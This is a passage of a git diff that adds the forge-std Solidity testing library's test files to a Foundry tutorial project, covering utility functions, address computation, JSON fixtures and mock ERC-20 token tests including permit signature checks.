+        size = (size % 100) + 1;
+        min = bound(min, -int256(size / 2), int256(size - size / 2));
+        int256 max = min + int256(size) - 1;
+        int256 result;
+
+        for (uint256 i = 1; i <= size * 4; ++i) {
+            // x > max
+            result = bound(max + int256(i), min, max);
+            assertEq(result, min + int256((i - 1) % size));
+            // x < min
+            result = bound(min - int256(i), min, max);
+            assertEq(result, max - int256((i - 1) % size));
+        }
+    }
+
+    function test_BoundInt(int256 num, int256 min, int256 max) public pure {
+        if (min > max) (min, max) = (max, min);
+
+        int256 result = bound(num, min, max);
+
+        assertGe(result, min);
+        assertLe(result, max);
+        assertEq(result, bound(result, min, max));
+        if (num >= min && num <= max) assertEq(result, num);
+    }
+
+    function test_BoundIntInt256Max() public pure {
+        assertEq(bound(0, type(int256).max - 1, type(int256).max), type(int256).max - 1);
+        assertEq(bound(1, type(int256).max - 1, type(int256).max), type(int256).max);
+    }
+
+    function test_BoundIntInt256Min() public pure {
+        assertEq(bound(0, type(int256).min, type(int256).min + 1), type(int256).min);
+        assertEq(bound(1, type(int256).min, type(int256).min + 1), type(int256).min + 1);
+    }
+
+    function test_CannotBoundIntMaxLessThanMin() public {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.expectRevert(bytes('StdUtils bound(int256,int256,int256): Max is less than min.'));
+        stdUtils.exposed_bound(-5, 100, 10);
+    }
+
+    function test_CannotBoundIntMaxLessThanMin(int256 num, int256 min, int256 max) public {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        vm.assume(min > max);
+        vm.expectRevert(bytes('StdUtils bound(int256,int256,int256): Max is less than min.'));
+        stdUtils.exposed_bound(num, min, max);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                BOUND PRIVATE KEY
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_BoundPrivateKey() public pure {
+        assertEq(boundPrivateKey(0), 1);
+        assertEq(boundPrivateKey(1), 1);
+        assertEq(boundPrivateKey(300), 300);
+        assertEq(boundPrivateKey(9999), 9999);
+        assertEq(boundPrivateKey(SECP256K1_ORDER - 1), SECP256K1_ORDER - 1);
+        assertEq(boundPrivateKey(SECP256K1_ORDER), 1);
+        assertEq(boundPrivateKey(SECP256K1_ORDER + 1), 2);
+        assertEq(boundPrivateKey(UINT256_MAX), UINT256_MAX & (SECP256K1_ORDER - 1)); // x&y is equivalent to x-x%y
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                                   BYTES TO UINT
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_BytesToUint() external pure {
+        bytes memory maxUint = hex'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
+        bytes memory two = hex'02';
+        bytes memory millionEther = hex'd3c21bcecceda1000000';
+
+        assertEq(bytesToUint(maxUint), type(uint256).max);
+        assertEq(bytesToUint(two), 2);
+        assertEq(bytesToUint(millionEther), 1_000_000 ether);
+    }
+
+    function test_CannotConvertGT32Bytes() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        bytes memory thirty3Bytes = hex'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
+        vm.expectRevert('StdUtils bytesToUint(bytes): Bytes length exceeds 32.');
+        stdUtils.exposed_bytesToUint(thirty3Bytes);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                               COMPUTE CREATE ADDRESS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_ComputeCreateAddress() external pure {
+        address deployer = 0x6C9FC64A53c1b71FB3f9Af64d1ae3A4931A5f4E9;
+        uint256 nonce = 14;
+        address createAddress = computeCreateAddress(deployer, nonce);
+        assertEq(createAddress, 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);
+    }
+
+    /*//////////////////////////////////////////////////////////////////////////
+                              COMPUTE CREATE2 ADDRESS
+    //////////////////////////////////////////////////////////////////////////*/
+
+    function test_ComputeCreate2Address() external pure {
+        bytes32 salt = bytes32(uint256(31415));
+        bytes32 initcodeHash = keccak256(abi.encode(0x6080));
+        address deployer = 0x6C9FC64A53c1b71FB3f9Af64d1ae3A4931A5f4E9;
+        address create2Address = computeCreate2Address(salt, initcodeHash, deployer);
+        assertEq(create2Address, 0xB147a5d25748fda14b463EB04B111027C290f4d3);
+    }
+
+    function test_ComputeCreate2AddressWithDefaultDeployer() external pure {
+        bytes32 salt = 0xc290c670fde54e5ef686f9132cbc8711e76a98f0333a438a92daa442c71403c0;
+        bytes32 initcodeHash = hashInitCode(hex'6080', '');
+        assertEq(initcodeHash, 0x1a578b7a4b0b5755db6d121b4118d4bc68fe170dca840c59bc922f14175a76b0);
+        address create2Address = computeCreate2Address(salt, initcodeHash);
+        assertEq(create2Address, 0xc0ffEe2198a06235aAbFffe5Db0CacF1717f5Ac6);
+    }
+}
+
+contract StdUtilsForkTest is Test {
+    /*//////////////////////////////////////////////////////////////////////////
+                                  GET TOKEN BALANCES
+    //////////////////////////////////////////////////////////////////////////*/
+
+    address internal SHIB = 0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE;
+    address internal SHIB_HOLDER_0 = 0x855F5981e831D83e6A4b4EBFCAdAa68D92333170;
+    address internal SHIB_HOLDER_1 = 0x8F509A90c2e47779cA408Fe00d7A72e359229AdA;
+    address internal SHIB_HOLDER_2 = 0x0e3bbc0D04fF62211F71f3e4C45d82ad76224385;
+
+    address internal USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+    address internal USDC_HOLDER_0 = 0xDa9CE944a37d218c3302F6B82a094844C6ECEb17;
+    address internal USDC_HOLDER_1 = 0x3e67F4721E6d1c41a015f645eFa37BEd854fcf52;
+
+    function setUp() public {
+        // All tests of the `getTokenBalances` method are fork tests using live contracts.
+        vm.createSelectFork({urlOrAlias: 'mainnet', blockNumber: 16_428_900});
+    }
+
+    function test_CannotGetTokenBalances_NonTokenContract() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        // The UniswapV2Factory contract has neither a `balanceOf` function nor a fallback function,
+        // so the `balanceOf` call should revert.
+        address token = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
+        address[] memory addresses = new address[](1);
+        addresses[0] = USDC_HOLDER_0;
+
+        vm.expectRevert('Multicall3: call failed');
+        stdUtils.exposed_getTokenBalances(token, addresses);
+    }
+
+    function test_CannotGetTokenBalances_EOA() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdUtilsMock stdUtils = new StdUtilsMock();
+
+        address eoa = vm.addr({privateKey: 1});
+        address[] memory addresses = new address[](1);
+        addresses[0] = USDC_HOLDER_0;
+        vm.expectRevert('StdUtils getTokenBalances(address,address[]): Token address is not a contract.');
+        stdUtils.exposed_getTokenBalances(eoa, addresses);
+    }
+
+    function test_GetTokenBalances_Empty() external {
+        address[] memory addresses = new address[](0);
+        uint256[] memory balances = getTokenBalances(USDC, addresses);
+        assertEq(balances.length, 0);
+    }
+
+    function test_GetTokenBalances_USDC() external {
+        address[] memory addresses = new address[](2);
+        addresses[0] = USDC_HOLDER_0;
+        addresses[1] = USDC_HOLDER_1;
+        uint256[] memory balances = getTokenBalances(USDC, addresses);
+        assertEq(balances[0], 159_000_000_000_000);
+        assertEq(balances[1], 131_350_000_000_000);
+    }
+
+    function test_GetTokenBalances_SHIB() external {
+        address[] memory addresses = new address[](3);
+        addresses[0] = SHIB_HOLDER_0;
+        addresses[1] = SHIB_HOLDER_1;
+        addresses[2] = SHIB_HOLDER_2;
+        uint256[] memory balances = getTokenBalances(SHIB, addresses);
+        assertEq(balances[0], 3_323_256_285_484.42e18);
+        assertEq(balances[1], 1_271_702_771_149.99999928e18);
+        assertEq(balances[2], 606_357_106_247e18);
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/Vm.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/Vm.t.sol
new file mode 100644
index 000000000..0b23404ab
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/Vm.t.sol
@@ -0,0 +1,15 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.8.0 <0.9.0;
+
+import {Test} from '../src/Test.sol';
+import {Vm, VmSafe} from '../src/Vm.sol';
+
+contract VmTest is Test {
+    // This test ensures that functions are never accidentally removed from a Vm interface, or
+    // inadvertently moved between Vm and VmSafe. This test must be updated each time a function is
+    // added to or removed from Vm or VmSafe.
+    function test_interfaceId() public pure {
+        assertEq(type(VmSafe).interfaceId, bytes4(0x97511f22), 'VmSafe');
+        assertEq(type(Vm).interfaceId, bytes4(0xaf68a970), 'Vm');
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationScript.sol b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationScript.sol
new file mode 100644
index 000000000..5cfacc872
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationScript.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Script.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationScript is Script {}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationScriptBase.sol b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationScriptBase.sol
new file mode 100644
index 000000000..eae51daff
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationScriptBase.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Script.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationScriptBase is ScriptBase {}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationTest.sol b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationTest.sol
new file mode 100644
index 000000000..d8d497ef6
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationTest.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Test.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationTest is Test {}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationTestBase.sol b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationTestBase.sol
new file mode 100644
index 000000000..df1a21060
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/compilation/CompilationTestBase.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import '../../src/Test.sol';
+
+// The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
+// a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
+contract CompilationTestBase is TestBase {}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/fixtures/broadcast.log.json b/basic/41-foundry/my_project/lib/forge-std/test/fixtures/broadcast.log.json
new file mode 100644
index 000000000..0a0200bca
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/fixtures/broadcast.log.json
@@ -0,0 +1,187 @@
+{
+  "transactions": [
+    {
+      "hash": "0xc6006863c267735a11476b7f15b15bc718e117e2da114a2be815dd651e1a509f",
+      "type": "CALL",
+      "contractName": "Test",
+      "contractAddress": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "function": "multiple_arguments(uint256,address,uint256[]):(uint256)",
+      "arguments": ["1", "0000000000000000000000000000000000001337", "[3,4]"],
+      "tx": {
+        "type": "0x02",
+        "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+        "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+        "gas": "0x73b9",
+        "value": "0x0",
+        "data": "0x23e99187000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000013370000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004",
+        "nonce": "0x3",
+        "accessList": []
+      }
+    },
+    {
+      "hash": "0xedf2b38d8d896519a947a1acf720f859bb35c0c5ecb8dd7511995b67b9853298",
+      "type": "CALL",
+      "contractName": "Test",
+      "contractAddress": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "function": "inc():(uint256)",
+      "arguments": [],
+      "tx": {
+        "type": "0x02",
+        "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+        "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+        "gas": "0xdcb2",
+        "value": "0x0",
+        "data": "0x371303c0",
+        "nonce": "0x4",
+        "accessList": []
+      }
+    },
+    {
+      "hash": "0xa57e8e3981a6c861442e46c9471bd19cb3e21f9a8a6c63a72e7b5c47c6675a7c",
+      "type": "CALL",
+      "contractName": "Test",
+      "contractAddress": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+      "function": "t(uint256):(uint256)",
+      "arguments": ["1"],
+      "tx": {
+        "type": "0x02",
+        "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+        "to": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+        "gas": "0x8599",
+        "value": "0x0",
+        "data": "0xafe29f710000000000000000000000000000000000000000000000000000000000000001",
+        "nonce": "0x5",
+        "accessList": []
+      }
+    }
+  ],
+  "receipts": [
+    {
+      "transactionHash": "0x481dc86e40bba90403c76f8e144aa9ff04c1da2164299d0298573835f0991181",
+      "transactionIndex": "0x0",
+      "blockHash": "0xef0730448490304e5403be0fa8f8ce64f118e9adcca60c07a2ae1ab921d748af",
+      "blockNumber": "0x1",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": null,
+      "cumulativeGasUsed": "0x13f3a",
+      "gasUsed": "0x13f3a",
+      "contractAddress": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0x6a187183545b8a9e7f1790e847139379bf5622baff2cb43acf3f5c79470af782",
+      "transactionIndex": "0x0",
+      "blockHash": "0xf3acb96a90071640c2a8c067ae4e16aad87e634ea8d8bbbb5b352fba86ba0148",
+      "blockNumber": "0x2",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": null,
+      "cumulativeGasUsed": "0x45d80",
+      "gasUsed": "0x45d80",
+      "contractAddress": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0x064ad173b4867bdef2fb60060bbdaf01735fbf10414541ea857772974e74ea9d",
+      "transactionIndex": "0x0",
+      "blockHash": "0x8373d02109d3ee06a0225f23da4c161c656ccc48fe0fcee931d325508ae73e58",
+      "blockNumber": "0x3",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0x4e59b44847b379578588920ca78fbf26c0b4956c",
+      "cumulativeGasUsed": "0x45feb",
+      "gasUsed": "0x45feb",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0xc6006863c267735a11476b7f15b15bc718e117e2da114a2be815dd651e1a509f",
+      "transactionIndex": "0x0",
+      "blockHash": "0x16712fae5c0e18f75045f84363fb6b4d9a9fe25e660c4ce286833a533c97f629",
+      "blockNumber": "0x4",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "cumulativeGasUsed": "0x5905",
+      "gasUsed": "0x5905",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0xedf2b38d8d896519a947a1acf720f859bb35c0c5ecb8dd7511995b67b9853298",
+      "transactionIndex": "0x0",
+      "blockHash": "0x156b88c3eb9a1244ba00a1834f3f70de735b39e3e59006dd03af4fe7d5480c11",
+      "blockNumber": "0x5",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512",
+      "cumulativeGasUsed": "0xa9c4",
+      "gasUsed": "0xa9c4",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0xa57e8e3981a6c861442e46c9471bd19cb3e21f9a8a6c63a72e7b5c47c6675a7c",
+      "transactionIndex": "0x0",
+      "blockHash": "0xcf61faca67dbb2c28952b0b8a379e53b1505ae0821e84779679390cb8571cadb",
+      "blockNumber": "0x6",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+      "cumulativeGasUsed": "0x66c5",
+      "gasUsed": "0x66c5",
+      "contractAddress": null,
+      "logs": [
+        {
+          "address": "0x7c6b4bbe207d642d98d5c537142d85209e585087",
+          "topics": [
+            "0x0b2e13ff20ac7b474198655583edf70dedd2c1dc980e329c4fbb2fc0748b796b"
+          ],
+          "data": "0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000046865726500000000000000000000000000000000000000000000000000000000",
+          "blockHash": "0xcf61faca67dbb2c28952b0b8a379e53b1505ae0821e84779679390cb8571cadb",
+          "blockNumber": "0x6",
+          "transactionHash": "0xa57e8e3981a6c861442e46c9471bd19cb3e21f9a8a6c63a72e7b5c47c6675a7c",
+          "transactionIndex": "0x1",
+          "logIndex": "0x0",
+          "transactionLogIndex": "0x0",
+          "removed": false
+        }
+      ],
+      "status": "0x1",
+      "logsBloom": "0x00000000000800000000000000000010000000000000000000000000000180000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100",
+      "effectiveGasPrice": "0xee6b2800"
+    },
+    {
+      "transactionHash": "0x11fbb10230c168ca1e36a7e5c69a6dbcd04fd9e64ede39d10a83e36ee8065c16",
+      "transactionIndex": "0x0",
+      "blockHash": "0xf1e0ed2eda4e923626ec74621006ed50b3fc27580dc7b4cf68a07ca77420e29c",
+      "blockNumber": "0x7",
+      "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266",
+      "to": "0x0000000000000000000000000000000000001337",
+      "cumulativeGasUsed": "0x5208",
+      "gasUsed": "0x5208",
+      "contractAddress": null,
+      "logs": [],
+      "status": "0x1",
+      "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+      "effectiveGasPrice": "0xee6b2800"
+    }
+  ],
+  "libraries": [
+    "src/Broadcast.t.sol:F:0x5fbdb2315678afecb367f032d93f642f64180aa3"
+  ],
+  "pending": [],
+  "path": "broadcast/Broadcast.t.sol/31337/run-latest.json",
+  "returns": {},
+  "timestamp": 1655140035
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/fixtures/test.json b/basic/41-foundry/my_project/lib/forge-std/test/fixtures/test.json
new file mode 100644
index 000000000..caebf6d96
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/fixtures/test.json
@@ -0,0 +1,8 @@
+{
+  "a": 123,
+  "b": "test",
+  "c": {
+    "a": 123,
+    "b": "test"
+  }
+}
\ No newline at end of file
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/fixtures/test.toml b/basic/41-foundry/my_project/lib/forge-std/test/fixtures/test.toml
new file mode 100644
index 000000000..60692bc75
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/fixtures/test.toml
@@ -0,0 +1,6 @@
+a = 123
+b = "test"
+
+[c]
+a = 123
+b = "test"
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/mocks/MockERC20.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/mocks/MockERC20.t.sol
new file mode 100644
index 000000000..7d5190c7e
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/mocks/MockERC20.t.sol
@@ -0,0 +1,410 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import {MockERC20} from '../../src/mocks/MockERC20.sol';
+import {StdCheats} from '../../src/StdCheats.sol';
+import {Test} from '../../src/Test.sol';
+
+contract Token_ERC20 is MockERC20 {
+    constructor(string memory name, string memory symbol, uint8 decimals) {
+        initialize(name, symbol, decimals);
+    }
+
+    function mint(address to, uint256 value) public virtual {
+        _mint(to, value);
+    }
+
+    function burn(address from, uint256 value) public virtual {
+        _burn(from, value);
+    }
+}
+
+contract MockERC20Test is StdCheats, Test {
+    Token_ERC20 token;
+
+    bytes32 constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)');
+
+    function setUp() public {
+        token = new Token_ERC20('Token', 'TKN', 18);
+    }
+
+    function invariantMetadata() public view {
+        assertEq(token.name(), 'Token');
+        assertEq(token.symbol(), 'TKN');
+        assertEq(token.decimals(), 18);
+    }
+
+    function testMint() public {
+        token.mint(address(0xBEEF), 1e18);
+
+        assertEq(token.totalSupply(), 1e18);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testBurn() public {
+        token.mint(address(0xBEEF), 1e18);
+        token.burn(address(0xBEEF), 0.9e18);
+
+        assertEq(token.totalSupply(), 1e18 - 0.9e18);
+        assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);
+    }
+
+    function testApprove() public {
+        assertTrue(token.approve(address(0xBEEF), 1e18));
+
+        assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);
+    }
+
+    function testTransfer() public {
+        token.mint(address(this), 1e18);
+
+        assertTrue(token.transfer(address(0xBEEF), 1e18));
+        assertEq(token.totalSupply(), 1e18);
+
+        assertEq(token.balanceOf(address(this)), 0);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testTransferFrom() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1e18);
+
+        vm.prank(from);
+        token.approve(address(this), 1e18);
+
+        assertTrue(token.transferFrom(from, address(0xBEEF), 1e18));
+        assertEq(token.totalSupply(), 1e18);
+
+        assertEq(token.allowance(from, address(this)), 0);
+
+        assertEq(token.balanceOf(from), 0);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testInfiniteApproveTransferFrom() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1e18);
+
+        vm.prank(from);
+        token.approve(address(this), type(uint256).max);
+
+        assertTrue(token.transferFrom(from, address(0xBEEF), 1e18));
+        assertEq(token.totalSupply(), 1e18);
+
+        assertEq(token.allowance(from, address(this)), type(uint256).max);
+
+        assertEq(token.balanceOf(from), 0);
+        assertEq(token.balanceOf(address(0xBEEF)), 1e18);
+    }
+
+    function testPermit() public {
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+
+        assertEq(token.allowance(owner, address(0xCAFE)), 1e18);
+        assertEq(token.nonces(owner), 1);
+    }
+
+    function testFailTransferInsufficientBalance() public {
+        token.mint(address(this), 0.9e18);
+        token.transfer(address(0xBEEF), 1e18);
+    }
+
+    function testFailTransferFromInsufficientAllowance() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1e18);
+
+        vm.prank(from);
+        token.approve(address(this), 0.9e18);
+
+        token.transferFrom(from, address(0xBEEF), 1e18);
+    }
+
+    function testFailTransferFromInsufficientBalance() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 0.9e18);
+
+        vm.prank(from);
+        token.approve(address(this), 1e18);
+
+        token.transferFrom(from, address(0xBEEF), 1e18);
+    }
+
+    function testFailPermitBadNonce() public {
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 1, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+    }
+
+    function testFailPermitBadDeadline() public {
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);
+    }
+
+    function testFailPermitPastDeadline() public {
+        uint256 oldTimestamp = block.timestamp;
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, oldTimestamp))
+                )
+            )
+        );
+
+        vm.warp(block.timestamp + 1);
+        token.permit(owner, address(0xCAFE), 1e18, oldTimestamp, v, r, s);
+    }
+
+    function testFailPermitReplay() public {
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+    }
+
+    function testMetadata(string calldata name, string calldata symbol, uint8 decimals) public {
+        Token_ERC20 tkn = new Token_ERC20(name, symbol, decimals);
+        assertEq(tkn.name(), name);
+        assertEq(tkn.symbol(), symbol);
+        assertEq(tkn.decimals(), decimals);
+    }
+
+    function testMint(address from, uint256 amount) public {
+        token.mint(from, amount);
+
